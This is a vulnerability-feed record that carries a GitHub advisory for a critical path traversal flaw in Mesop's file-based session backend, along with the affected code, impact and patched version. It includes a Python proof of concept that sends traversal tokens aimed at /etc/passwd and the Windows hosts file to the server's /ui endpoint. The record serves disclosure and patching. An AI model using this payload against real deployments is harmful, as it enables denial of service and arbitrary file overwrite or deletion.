{"vuln_id":"GHSA-8qvf-mr4w-9x2c","aliases":["CVE-2026-33054"],"description":"Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion","published_at":"2026-03-18T20:01:21Z","modified_at":"2026-11-16T15:34:38Z","first_seen_at":"2026-11-21T19:15:20.315928Z","severity":"critical","severity_source":"ghsa","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":["CWE-22"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":null,"epss_percentile":null,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://github.com/advisories/GHSA-8qvf-mr4w-9x2c"},"matched_alias":null,"items":[{"id":2564,"source":{"id":"ghsa","name":"GitHub Security Advisories"},"title":"GHSA-8qvf-mr4w-9x2c / CVE-2026-33054: Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion","summary":"Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion\n\n#### Summary\nA Path Traversal vulnerability allows any user (or attacker) supplying an untrusted `state_token` through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.\n\n#### Details\nWhen the framework is configured to use the disk-based session backend (`FileStateSessionBackend`), the user's `state_token` actively dictates where the runtime session state is physically saved or queried natively on disk. \nIn `mesop/server/server.py`, specifically the `ui_stream` endpoint, the `event.state_token` is collected directly from the untrusted incoming protobuf message struct: `mesop.protos.ui_pb2.UserEvent`.\nBecause this is unconditionally passed to `FileStateSessionBackend._make_file_path(self, token)`, it evaluates standard path operators (e.g. `../../../`). \n\n```python\n# mesop/server/state_session.py\n  def _make_file_path(self, token: str) -> Path:\n    return self.base_dir / (self.prefix + token)\n```\nPython's standard library natively resolves OS traversal semantics allowing full escape from the `base_dir` destination intent.\n\n#### PoC\nAn attacker can utilize Python to craft and send a malicious Protobuf payload to the `/ui` stream.\n\n```python\nimport requests\nimport mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled\n\n# 1. Craft the malicious protobuf message\nuser_event = pb.UserEvent()\n# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file\nuser_event.state_token = \"../../../../etc/passwd\" \n\n# Alternatively, targeting Windows:\n# user_event.state_token = \"..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n\nserialized_event = user_event.SerializeToString()\n\n# 2. Send the message to the ui stream endpoint\nheaders = {'Content-Type': 'application/x-protobuf'}\nresponse = requests.post(\n    \"http://localhost:32123/ui\",\n    data=serialized_event,\n    headers=headers\n)\n\n# The server will attempt to parse /etc/passwd using msgpack, \n# resulting in a crash or reading/overwriting operations depending on the request type invoked.\nprint(response.content)\n```\n\n#### Impact\nThis vulnerability heavily exposes systems hosted utilizing `FileStateSessionBackend`. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.\n\nAffected packages: pip:mesop\nPatched: mesop 1.2.3","url":"https://github.com/advisories/GHSA-8qvf-mr4w-9x2c","published_at":"2026-03-18T20:01:21Z","updated_at":"2026-11-16T15:34:38Z","fetched_at":"2026-11-21T19:15:18.416936Z","severity":"critical","cvss_score":10.0,"epss":0.00793,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"mesop","vuln_id":"CVE-2026-33054","vuln_ids":["CVE-2026-33054","GHSA-8QVF-MR4W-9X2C"],"tags":["ghsa","pip","CWE-22"],"cluster_id":2576,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/2564","html":"https://vulnwatch.ve1ve2.com/item/2564"}}]}